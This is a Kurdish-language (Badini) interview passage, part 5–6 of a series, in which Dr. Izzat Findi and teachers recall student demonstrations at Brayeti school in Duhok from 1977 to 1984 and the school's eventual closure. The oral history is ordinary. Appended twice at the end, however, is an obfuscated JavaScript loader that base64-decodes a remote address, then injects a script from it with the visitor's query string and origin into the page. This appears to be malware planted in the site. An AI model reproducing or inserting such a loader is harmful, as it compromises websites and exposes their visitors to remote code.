د دەهـ سالێن ژیێ خوە دا دواناڤنجی یا برایەتی هێلینا ئاڤاكرنا شۆڕەشگێڕان بوو
دیدار، سالار محەمەد دۆسكی:
5 – 6
ل دور خونیشاندانێن قوتابیان ژی، د. عزەت فندی گۆت: هەمی سەیرانێن برایەتی خونیشاندان بوون و هەمی خرڤەبوونێن قوتابیان ل فیستەڤالا بزاڤێن وەرزشی و هەلكەفتێن نشتیمانی ترسا خونیشاندانێ هەبوو و هەمی دەمەكی لبن چاڤدێری یا رەشكێن ئەمنێ بوون بۆ نموونە ل 20/3/1977ێ ئێڤارا نەوروزێ بنگەهێ لاوێن دهۆكێ رێڤەووەك ل نیڤا باژێری ئەنجامدا و هەر لاوەكی خەتیرەك د دەستی دا بوو و ئاگر هەلكر بووب هەلكەفتا جەژنا نەوروزێ بۆ رۆژا پاشتر 21/3/1977ێ هەمی قوتابخانێن دهۆكێ ل سەر جادا نەخوشخانێ نێزیك بارەگایێ ئاسایشا نوكە دەمژمێر 30 و 9 خرڤەبوون و ب رێڤەچوون هتا گەهشتینە نیڤا باژێری نێزیك رێڤەبەری یا پولیسێن دهۆكێ ل بەراهی یا رێڤەچوونێ دو قوتابیان ب جلكێن شەل و شەپك و ب كەفی و عەگال وێنەكێ سەرۆكێ ئیراقێ یێ وی سەردەمی هەلگرت بوو و پارێزگارێ دهۆكێ یێ وی دەمی (یەحیا جاف) یێ راوستیای بوو و پشتی رێڤەچوون گەهشتینە نێزیك پرا 11ی ئادارێ ئاڤاهیێ باژێرڤانیا دهۆكێ ی كڤن قوتابیێن برایەتی خوە نەگرتن و دەست ب گۆتنا سرودا ئەی رەقیب گۆت و بێی كەس خوە نێزیك بكەت و هەتا گەهشتینە پشت دێرا بەرانی وێ رێ بەرپرسێ بەعیسان دگۆتنێ (مزهەر موتنی) یێ راوستیای بوو ل جهەكێ تایبەت و ل ڤێرێ ژی پشتی ئاهەنگێ دەست پێكری گەلەك ژ قوتابیێ، برایەتی خوە ڤەدەركر و دەست ب دەواتێ كر ل بەر دهول و زرنایێ كو بۆ ئاهەنگێ ئینابوو وێرێ باراپتر دەستەكا قوتابیێن بەراهیێ بوون و هندەكێن دی ژی گەلەك جەماوەر ل گەل كوم ڤە بوو وەكی (ئەحمەد مەلا قاسم) كو هەڤالەكێ مەبوو و بێژیت: هەمی ل دورێن مە خرڤەبوون و ئاهەنگا وان بتنێ بۆ هندەك كەسان بتنێ ما و قوابیێن بیرا وی ژی ئەڤە نە(شەهید وەسفی سەلمان، ئیبراهیم مستەفا، فەهیم عەبدوللا، ئەحمەد مەلا قاسم، عزت فندی، عیس زێوەی، فەلامەرز محەمەد عەلی، زیاد ئەحمەد، شڤان ئەحمەد) گەلەكێن دی و ڤێرە دەوات بەرەف سەنتەكا دی ڤە چوو و ل جهێ ستران گۆتنێ بوونە هندەك دروشمێن نووی وەكی ( كوردستان دارو بەر، نیشانا مە خەنجەر، برنو رەقم 17 یە نیشانا پێشمەرگەیە) قوتابیا ب جەماوەر ڤە ب ئێك دەنگ و ئێك ڤەگێران دگوت و بڤی رەنگی ل ڤەگەریانێ هەتا گەهشتینە نێزیك (باتا) ل نێزیك دەرمانخانا (سەعد) یانوكە، دا ل ڤێرێ ئەمنا دهۆكێ وسیخورێن وانب ترۆومبێلا و ماتورا ژوردا دهاتن وسایدێ هاتنێ تێك دا و گەهشتنە قوتابیان و ئەم جوداكرین و هەر ئێك ب لایەكی ڤە چوو و ب تایبەتی وێنەكێ سەرۆكێ ئیراقێ ل گەل جێگرێ وی دەستێ وقتابیان دا شكەست بوو ، بۆ قوتابیان ب بوو بەلا و ل دووماهیێ نوزا ل كیرێ هاتە هاڤێتن و ئەو سەیرانا سالا 1982ێ وەكی مامۆستا (محەمەد سەدیق محەمەد تاهر) ڤەدگێریت كو دوو ترۆمبێلا لێكدای و قوتابیێن برایەتی هاری شوفێرێ كورد كری و پاشی گەهشتنە مویسل و ل تاخێ (زهور) و هەمی ب جلكێن كوردی بوون و پولیس مویسل رەمی لێ دكر و چەند قوتابی بریندار بوون و هەمی پێكڤە ل بنگەهێ پولیسان گرت بوون و خرڤەكرن، نە چ رێز و تەقدیر بۆ مامۆستا گرتی و نە چ رێز و تەقدیر ۆ كەسەكێ دی هەتا ب هەلكەت پارێزگارێ دهۆكێ یێ وی دەمی (نامق سورچی) ل مویسل بوویە د هەوارا قوتابیان چوو و شیا ئازاد بكەت و ل تاریێ قوتابی گەهشتنە دهۆكێ و خەلك هەمی پێشڤەچووین و تەوارا وان چووین.
د. عزەت فندی مامۆستایێ زانكۆیێ و ئێك ژ قوتابیێن برایەتی گۆتژی: لدەسپێكا سالا خواندنێ 1977 – 1988 ێ بریارەك ژ رژێمێ دەركەفت كو نیڤا وانێن وێژەیی ببنە عەرەبی وەكی (جوگرفی، مێژوو، كومەلایەتی) ئەڤە ژی جهێ نەرازیبوونا قوتابیان و ئاریشەكا مەزن بۆ قوتابیان پەیدا كر و چەندین رۆژا ئەف سحبەتە دهات و چوو و ئەو ژی مامۆستایێن برایەتی شیان قوتابیان هوویر بكەن و چ تتێ ژی ژێ نەدەركەڤیت بۆ زانین ئەز بێژم مامۆستایێ مێژوو (د. محەمەد سالح زێباری) ب ئاشكرا گۆت من نەڤێت وانا ب عەرەبی بێژم و ب تایبەت بۆ قوتابیێن برایەتی و ب راستی ژی بزاڤەكا مەزن كر خوە نەهێلا ل دهوكێ و خوە ڤەگوهاست و رۆژا 1/3/1977ێ وەكی ب شەڤ دەنگو باسێ وەغەركرنا (بارزانی نەمر) هاتیە راگەهاندن باوەر بكەن ل وێ رۆژێ ل سەرانسەری ئامادەیا برایەتی وانە نەدهاتنە گۆتن و قوتابی هەمی د دامایی بوون و بارا پتر قەمیسێن تاری رەش و شین هەكە هەبان كربوونێ و گەلەك بزحمەت ئەگەر وانە هاتبا گۆتن، مامۆستا زمانێ كوردی خەلكا كەركووكێ بوو وی دەمی هاتە پولێ دا وانا ئێكێ و سپێدێ زی هەر تەماشەی سەرۆچاڤێن قوتابیان كرو پتری و نە ئاخفت و بیرا منە گۆت (هیچ نینە و خودێ كەریمە) وێ ژی وانە نەگۆت و قوتابی مانە دوێ بێ دەنگیێ دا و جهێ خرڤەبوونا قوتابیێن برایەتی باپتر بەر دەرگەهێ كتێبخانا سامی بوو نێزیك دەرمانخانا سەعد یان ئاسنێن ئامادەیا كاوە ئەڤجا چ گوهارتنا دەنگ و باسا یان كرینا رۆژنامەكا هاوكاری یا بەیان با ل 4/4/1977ێ رۆژناما ئیراق بەلاڤكر نێزیكی (10) كەسا هاتنە سێدارەدان كو بزاڤا كوشتنا پارێزگارێ سلێمانیێ كری ئەڤا دەنگ و باسا قوتابیێن برایەتی هەژاندن و ئازراندن و گەلەك هات و هویت لناف پەیدا دكر و ژبلی ناف جەماوەری یان هەە وێنەێ بارزانیێ نەمر ل رۆژنامەكێ یان گوڤارەكێ دەركەتبا بلا پەیام ل سەر چ باژی باوەر بكە ئەو هەژمار نەدما ل بازاری یا رۆژا 17/6/1977ێ وەكی رۆژنێن وی دەمی بەلاڤەكری كو (ئوسمان محەمەد فائق) سەرنڤیسەرێ رۆژناما (هاوكاری) ب دەستێن هندەك كەسان هاتیە كوشتن وێ ئێڤارێ ل دەرێ كتێبخانا سامی ئێك ژ هەڤالێن مە یێن برایەتی گۆت بلا رۆژنامەك ژ ئەڤان بهێتە هەلاویستن و ژێ ڤە نەكەن دا خەلك هەمی بخوینت و تێ بگەهیت و ئەڤە هندەك هەلویست و خونیشاندانێن برایەتی بوون ل دور پێزانین مە 2/5/1982ێ خونیشاندانێ، زانكۆیا سەلاح الدین دەست پێكرو ئەڤان خونیشاندانا زانكۆیا مویسل ژی و چەندن باژێركێن كوردستانێ ڤەگرتن و ب گرتن و ب زیندانكرنا چەندین قوتابیان ب دووماهی هات و سالا پاشتر بوهارا 1983ێ رژێمێ پلانەك دانا قوتابی ب سەیرانێن زانستی ڤە مژوویلكرن و هەر هندەك برنە جهەكی بۆ نموونە پشكا جیولوجی ل زانكۆیا سەلاح الدین بۆ زانكۆیا مویسل هنارتن و هەر ئێك بۆ جهەكێ دیتر و ئەڤە ژی ل بیراهتنا 24/4/1974ێ رۆژا شەهیدی چ تشت رووندا ،ل سالا پاشتر و 14/4/1984ێ دیسا قوتابیێن زانكۆیا سەلاح الدین دەست ب مانگرتنێ كردەوام هێلا و نەكر وێ بیرهاتنێ باراپتر یا قوتابیێن كوردستانێ خوەنیشاندانكر و هەمی دەڤەر ڤەگرتن ل دەڤەرا دهۆك ژی ئامادەیا برایەتی ئاڤاهێ وی ڤگوهست بوو ئامادەیا كاوە رۆژا 21/4/1984ێ قوتابیێن برایەتی دخونیشانەكا مێرانە رابوون هەرژ دەرێ ئامادەیێ و ژێ هەل چوون هەتا نێزیكی فلكا پانزیخانا كەڤن و دنیڤا بازارێ دهۆكێ دا چوون و ل سەر ڤێ خونیشادانێ چەندین قوتابی هاتنە دەستەسەركرن و لدووماهیێ ژی وەكی مامۆستا رەشید فندی ڤەدگێریت و بێژیت وێ رۆژێ قوتابیێن برایەتی دست ب مانگرتنێ كر، تایێ حزبا بەعس بناڤێ (جەمال خدر عبدال) دهنێرتە برایەتی و كومبوونەك ب قوتابیان ئەنجامدا و گۆت: یێ گەل مەسعود بارزانی بیت بلا بچیتە رەخكی و یێ ل گەل حزبا بەعس بیت بلا بچیتە رەخەكێ دی و پشتی (جەمال خدر) دگەهیتە ژوورا رێڤەبەری، هەمی قوتابی دەركەفتن و هەر ل بەر دەگەهێ قوتابخانێ دەست ب گۆتنا سرود ئەی رەقب و سرودێن نەتەوەی كر، و خونیشاندان دەست پێكر و رۆژا پاشتر رێڤەبەرێ ئامادەیی كومبوونەك ب مامۆستا كر بو چارەكرنێ و هندەك مامۆستا گونەهباردكەن بۆ پالدانا قوتابیان وەك (محەمەد سەدیق محەمەد تاهر، عەبدوالله عەبدوالكریم، رەشید فندی، فاروق ئاكرەیی، محەمەد ئەمین عەبو) ئەو بوو چەندەكێ پشتی هینگێ رێڤەبەرێ ئامادەیێ دهێتە ڤەگوهاستن بۆ رێڤەبەری یا ئامادەیا كاوە و رێڤەبەرەكێ نوی بۆ ئامادەیالا برایەتی دهێتەدانان و هەتا سالا خواندنێ ب دووماهی دهێت ئەڤ مامۆتایێن مە ئاماژە پێكرین ل گەل قوتابیێن برایەتی بۆ ناڤنجی یا هاوكاری هاتنە ڤەگوهاستن و ناڤێ برایەتی وەك ئامادەیی دهێتە تێكدان و گرتنواتە سالا خواندنێ 1983 – 1984ێ سالا دووماهیێ بوو ل ژیێ برایەتی و (10( سالان دەوام كریە هەر سالا 1974 هەتا 1975 هەتا 1983ێ – 1984ێ ب هزرا مە خونیشادانا دووماهیێ بوو قوتابیێن برایەتی پێ رابووین و دووڤ دا دەرگەهێ قوتابخانا برایەتی ب ئێكجاری هاتەگرتن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
